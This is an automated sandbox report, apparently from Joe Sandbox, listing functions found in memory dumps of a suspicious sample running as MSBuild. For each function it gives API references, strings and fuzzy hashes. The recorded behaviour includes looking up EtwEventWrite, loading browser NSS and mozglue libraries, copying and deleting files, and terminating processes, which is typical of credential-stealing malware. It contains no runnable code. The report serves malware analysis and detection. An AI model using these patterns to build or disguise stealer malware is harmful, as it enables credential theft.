Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocProcesswsprintf
String ID: %hs
API String ID: 659108358-2783943728
Opcode ID: 3ad6661e342435e3454c6033efd35680c758cdf589e793b7d7a2c9c560a2e302
Instruction ID: 516a0af99a9d3ed9a850d6bfca40a0a85ae49b58000b6b42a5d70a6c01262027
Opcode Fuzzy Hash: 3ad6661e342435e3454c6033efd35680c758cdf589e793b7d7a2c9c560a2e302
Instruction Fuzzy Hash: F2D0A73134031477C61027D4BC0DF9A3F2CDB067A2F001130FA0DD6151C96548144BDD

Function 004013F6 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00401402
GetDeviceCaps.GDI32(00000000,0000000A), ref: 0040140D
ReleaseDC.USER32(00000000,00000000), ref: 00401416

Strings

DISPLAY, xrefs: 004013FD

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CapsCreateDeviceRelease
String ID: DISPLAY
API String ID: 1843228801-865373369
Opcode ID: 6d8e34817c800d656530c1e8e523df0c20ac1b926281776ce52baa48a7045e34
Instruction ID: 36e3823ee53bced430e70f0d048e6716cdaf6b37fc8da0c0fd181c1dc0393a61
Opcode Fuzzy Hash: 6d8e34817c800d656530c1e8e523df0c20ac1b926281776ce52baa48a7045e34
Instruction Fuzzy Hash: A5D012353C030477E1781B54BC5FF1A3934D7C9F02F201164F311680E046E41402973E

Function 004018B5 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll.dll), ref: 004018BA
GetProcAddress.KERNEL32(00000000,EtwEventWrite), ref: 004018CB

Strings

EtwEventWrite, xrefs: 004018C5
ntdll.dll, xrefs: 004018B5

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: EtwEventWrite$ntdll.dll
API String ID: 1646373207-1851843765
Opcode ID: 5e51bf90e60cb14d8bd058217a4af9c92f753a1577894b23d64cda725500b0c0
Instruction ID: b010eca93dcea5ac8893ac9cbd630a9a56b58122e1a4efb0db09dbf7787f5420
Opcode Fuzzy Hash: 5e51bf90e60cb14d8bd058217a4af9c92f753a1577894b23d64cda725500b0c0
Instruction Fuzzy Hash: F9B09260B803019BDE186B716F9DB8636786B64B067987262A18AD01B0D7BC8024961E

Function 6CAF0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CAF0CD5

Part of subcall function 6CADF960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CADF9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CAF0D40
free.MOZGLUE ref: 6CAF0DCB

Part of subcall function 6CAC5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAC5EDB
Part of subcall function 6CAC5E90: memset.VCRUNTIME140(6CB07765,000000E5,55CCCCCC), ref: 6CAC5F27
Part of subcall function 6CAC5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAC5FB2

free.MOZGLUE ref: 6CAF0DDD
free.MOZGLUE ref: 6CAF0DF2

Memory Dump Source

Source File: 00000001.00000002.2509689755.000000006CAA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2509665607.000000006CAA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509880693.000000006CB1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509953962.000000006CB2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509982578.000000006CB32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_MSBuild.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 4a7788dd11f92ccc7e62cd2a137764683d08fe579ee2fa7f29e93d2bfc80511c
Instruction ID: e43ec56b272d0f45b1729fe89fb6b8f29178252ad4c3f3973f56e828c7ae4285
Opcode Fuzzy Hash: 4a7788dd11f92ccc7e62cd2a137764683d08fe579ee2fa7f29e93d2bfc80511c
Instruction Fuzzy Hash: 834119759097808BD320CF29C1407AEFBE5BFC5714F158A2EE8E887751D7709589CB92

Function 6CAFCCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6CAEDA31,00100000,?,?,00000000,?), ref: 6CAFCDA4

Part of subcall function 6CABCA10: malloc.MOZGLUE(?), ref: 6CABCA26

Part of subcall function 6CAFD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6CAFCDBA,00100000,?,00000000,?,6CAEDA31,00100000,?,?,00000000,?), ref: 6CAFD158
Part of subcall function 6CAFD130: InitializeConditionVariable.KERNEL32(00000098,?,6CAFCDBA,00100000,?,00000000,?,6CAEDA31,00100000,?,?,00000000,?), ref: 6CAFD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6CAEDA31,00100000,?,?,00000000,?), ref: 6CAFCDC4

Part of subcall function 6CAF7480: ReleaseSRWLockExclusive.KERNEL32(?,6CB015FC,?,?,?,?,6CB015FC,?), ref: 6CAF74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6CAEDA31,00100000,?,?,00000000,?), ref: 6CAFCECC

Part of subcall function 6CABCA10: mozalloc_abort.MOZGLUE(?), ref: 6CABCAA2

Part of subcall function 6CAECB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6CAFCEEA,?,?,?,?,00000000,?,6CAEDA31,00100000,?,?,00000000), ref: 6CAECB57
Part of subcall function 6CAECB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6CAECBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6CAFCEEA,?,?), ref: 6CAECBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6CAEDA31,00100000,?,?,00000000,?), ref: 6CAFD058

Memory Dump Source

Source File: 00000001.00000002.2509689755.000000006CAA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2509665607.000000006CAA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509880693.000000006CB1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509953962.000000006CB2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509982578.000000006CB32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_MSBuild.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 7d35794aa7c2558f7f09fc30e6a1b2a64362917bb8887561bd86104eea4a3435
Instruction ID: d56dd8e1df0893bcb2ac81d68c2c1065b145c4562b1314ecaf1262555b096b6a
Opcode Fuzzy Hash: 7d35794aa7c2558f7f09fc30e6a1b2a64362917bb8887561bd86104eea4a3435
Instruction Fuzzy Hash: 66D17071A04B469FD719CF28C580799F7F1BF89308F05862DE86987711EB31A9A5CBC1

Function 0040B021 Relevance: 6.2, APIs: 4, Instructions: 222filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

CopyFileA.KERNEL32(?,?,00000001), ref: 0040B0C6
lstrlenA.KERNEL32(?), ref: 0040B27C
lstrlenA.KERNEL32(?), ref: 0040B297
DeleteFileA.KERNEL32(?), ref: 0040B2E9

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 88e3ebeed86e24cc7b28056dd658e9d3a29e958a980414936145912d381853e6
Instruction ID: f591e2a0d8e138dca35be3644fb2135853aaa162620cf24645ece741f6493c3d
Opcode Fuzzy Hash: 88e3ebeed86e24cc7b28056dd658e9d3a29e958a980414936145912d381853e6
Instruction Fuzzy Hash: 6D810F72A001199BCF01FBA6DE469DDB775AF04309F51003AF500B71A1DBB9AE898B99

Function 6CAC5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6CAC5D40
EnterCriticalSection.KERNEL32(6CB2F688), ref: 6CAC5D67
__aulldiv.LIBCMT ref: 6CAC5DB4
LeaveCriticalSection.KERNEL32(6CB2F688), ref: 6CAC5DED

Memory Dump Source

Source File: 00000001.00000002.2509689755.000000006CAA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2509665607.000000006CAA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509880693.000000006CB1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509953962.000000006CB2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509982578.000000006CB32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: c6242552e326d19edebba441a5edba08bf6921bb0b09da126b2e9ebac06e6869
Instruction ID: 7d9f6f313bd0d48306486eec5dadf12386f573e7279121f73d2b8ee439620b94
Opcode Fuzzy Hash: c6242552e326d19edebba441a5edba08bf6921bb0b09da126b2e9ebac06e6869
Instruction Fuzzy Hash: 95517E71F002698FCF09CFA8C954BBEBBB2FB89304F198A19D815A7750C7346985CB91

Function 00425261 Relevance: 6.1, APIs: 4, Instructions: 132COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 00425294
_siglookup.LIBCMT ref: 004252BB
DecodePointer.KERNEL32(00000000), ref: 00425313
__lock.LIBCMT ref: 0042533A

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: DecodePointer__getptd_noexit__lock_siglookup
String ID:
API String ID: 2847133137-0
Opcode ID: 566fb7a9ce621392c45170995ac80ea6371b7fc17e128289bbc3db9a78952912
Instruction ID: 163363832fae9a4e463df0ece09c03a68562d95583d470f652ab41388aeef822
Opcode Fuzzy Hash: 566fb7a9ce621392c45170995ac80ea6371b7fc17e128289bbc3db9a78952912
Instruction Fuzzy Hash: 01416D70F00B25CBCB24DF69E8845AEB7B0AB45355BA4512BE801A7391C7B89841CB6C

Function 6CAACDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAACEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6CAACEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6CAACF4E

Strings

0, xrefs: 6CAACF30

Memory Dump Source

Source File: 00000001.00000002.2509689755.000000006CAA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2509665607.000000006CAA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509880693.000000006CB1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509953962.000000006CB2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509982578.000000006CB32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_MSBuild.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: d153a642da7e5cf3acbbe975ee30881bc86c478a04cbfbb82d85080a4b4a1590
Instruction ID: 255315422e7cb2cf8c543a75388a17c282bc3d49a0bfb18a5fa7c4d81efa4bdc
Opcode Fuzzy Hash: d153a642da7e5cf3acbbe975ee30881bc86c478a04cbfbb82d85080a4b4a1590
Instruction Fuzzy Hash: F2512171A042568FCB00CF18C890AAAFBB5EF99304F19819DD8595F752E732ED46CBE0

Function 6CBC6C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CBC6C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CBC6CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CBC6CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6CCE8FE0), ref: 6CBC6CFE

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: 687266bb0fad41ebb5a3a978f66176b848df7e8ca0966879cbac1cc4c68aa872
Instruction ID: ab3ee77a3248719e3a8071bd0347153b7f26f459f886399167035b2da531f688
Opcode Fuzzy Hash: 687266bb0fad41ebb5a3a978f66176b848df7e8ca0966879cbac1cc4c68aa872
Instruction Fuzzy Hash: 4B317EB1A002169FDB08CF65C891EBFBBF5EB89248B10443DD905D7700FB319905CBA2

Function 6CAE6470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6CAE82BC,?,?), ref: 6CAE649B

Part of subcall function 6CABCA10: malloc.MOZGLUE(?), ref: 6CABCA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAE64A9

Part of subcall function 6CADFA80: GetCurrentThreadId.KERNEL32 ref: 6CADFA8D
Part of subcall function 6CADFA80: AcquireSRWLockExclusive.KERNEL32(6CB2F448), ref: 6CADFA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAE653F
free.MOZGLUE(?), ref: 6CAE655A

Memory Dump Source

Source File: 00000001.00000002.2509689755.000000006CAA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2509665607.000000006CAA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509880693.000000006CB1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509953962.000000006CB2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509982578.000000006CB32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: bf250a3fe67b5987f66f61a5315489c00f0dcefdf0bbdcb7d958ff26246ee5e3
Instruction ID: 107b6b41ae2ca332a7ffe51657e877ff26fe84002ed58a0baebd7999e3d40a00
Opcode Fuzzy Hash: bf250a3fe67b5987f66f61a5315489c00f0dcefdf0bbdcb7d958ff26246ee5e3
Instruction Fuzzy Hash: E1318DB5A043459FC700CF24D980A9EBBF4BF89314F00482EE89A97741DB34E949CBD2

Function 0041BE93 Relevance: 6.1, APIs: 4, Instructions: 91fileCOMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 0041BED8
_memmove.LIBCMT ref: 0041BEEC
_memmove.LIBCMT ref: 0041BF39
WriteFile.KERNEL32(00000000,?,66FF6685,?,00000000,086824A0,?,00000001,086824A0,?,0041AF7E,?,00000001,086824A0,66FF6685,?), ref: 0041BF58

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: _memmove$FileWritemalloc
String ID:
API String ID: 803809635-0
Opcode ID: 081153dacd6338b17544171e625a01bba3250c1498290e89897b4e19aa5d6555
Instruction ID: ab02847f2cf5829e892bba1cb09279ef8e0d79e99e6af2a88f0bb91435c9bab5
Opcode Fuzzy Hash: 081153dacd6338b17544171e625a01bba3250c1498290e89897b4e19aa5d6555
Instruction Fuzzy Hash: F7316A72600704AFD721CF55D980AA7B7F8FB48700F40892EE986C7A40DB74F9458F98

Function 004122B0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004122D7

Part of subcall function 00411D61: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00412301,?), ref: 00411D6C
Part of subcall function 00411D61: HeapAlloc.KERNEL32(00000000), ref: 00411D73
Part of subcall function 00411D61: wsprintfW.USER32 ref: 00411D84

OpenProcess.KERNEL32(00001001,00000000,?,00000000,?), ref: 0041237D
TerminateProcess.KERNEL32(00000000,00000000), ref: 0041238B
CloseHandle.KERNEL32(00000000), ref: 00412392

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocCloseHandleOpenTerminate_memsetwsprintf
String ID:
API String ID: 2224742867-0
Opcode ID: 619fb392ac4ef57c4e8cdd80c22c9e9be590902abe43c93c1cd9ada057c809bb
Instruction ID: 4908dc3ae55921e5dd248142a0999099d01d310cdfe30bf9d66c42b4d563b095
Opcode Fuzzy Hash: 619fb392ac4ef57c4e8cdd80c22c9e9be590902abe43c93c1cd9ada057c809bb
Instruction Fuzzy Hash: BD314F72A0121CAFDF219F60DD849EEB7BDEB0A345F0400AAF909E2550D6395F848F56

Function 6CC36DE0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6CC36E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC36E57

Part of subcall function 6CC6C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC6C2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6CC36E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6CC36EAA

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID:
API String ID: 3163584228-0
Opcode ID: 954cb782d5ac372fb7261971e2fefcce8f05c6267447ed28640153c55fbca37f
Instruction ID: 08d0c2e15c6f35c8ce45d99e8d6f508a7bbf2b6ef90975078ef28a4d3052cf56
Opcode Fuzzy Hash: 954cb782d5ac372fb7261971e2fefcce8f05c6267447ed28640153c55fbca37f
Instruction Fuzzy Hash: 8E318D72611E22EEDB145F34E904396B7A5BB0131AF20163CD99ED6AC0FB30A95CCF91

Function 0041665F Relevance: 6.1, APIs: 4, Instructions: 73stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

lstrcatA.KERNEL32(?,00000000), ref: 004166A7
lstrcatA.KERNEL32(?,00436B4C), ref: 004166C4
lstrcatA.KERNEL32(?), ref: 004166D7
lstrcatA.KERNEL32(?,00436B50), ref: 004166E9

Part of subcall function 00415FD1: wsprintfA.USER32 ref: 00416018
Part of subcall function 00415FD1: FindFirstFileA.KERNEL32(?,?), ref: 0041602F
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436AB4), ref: 00416050
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436AB8), ref: 0041606A
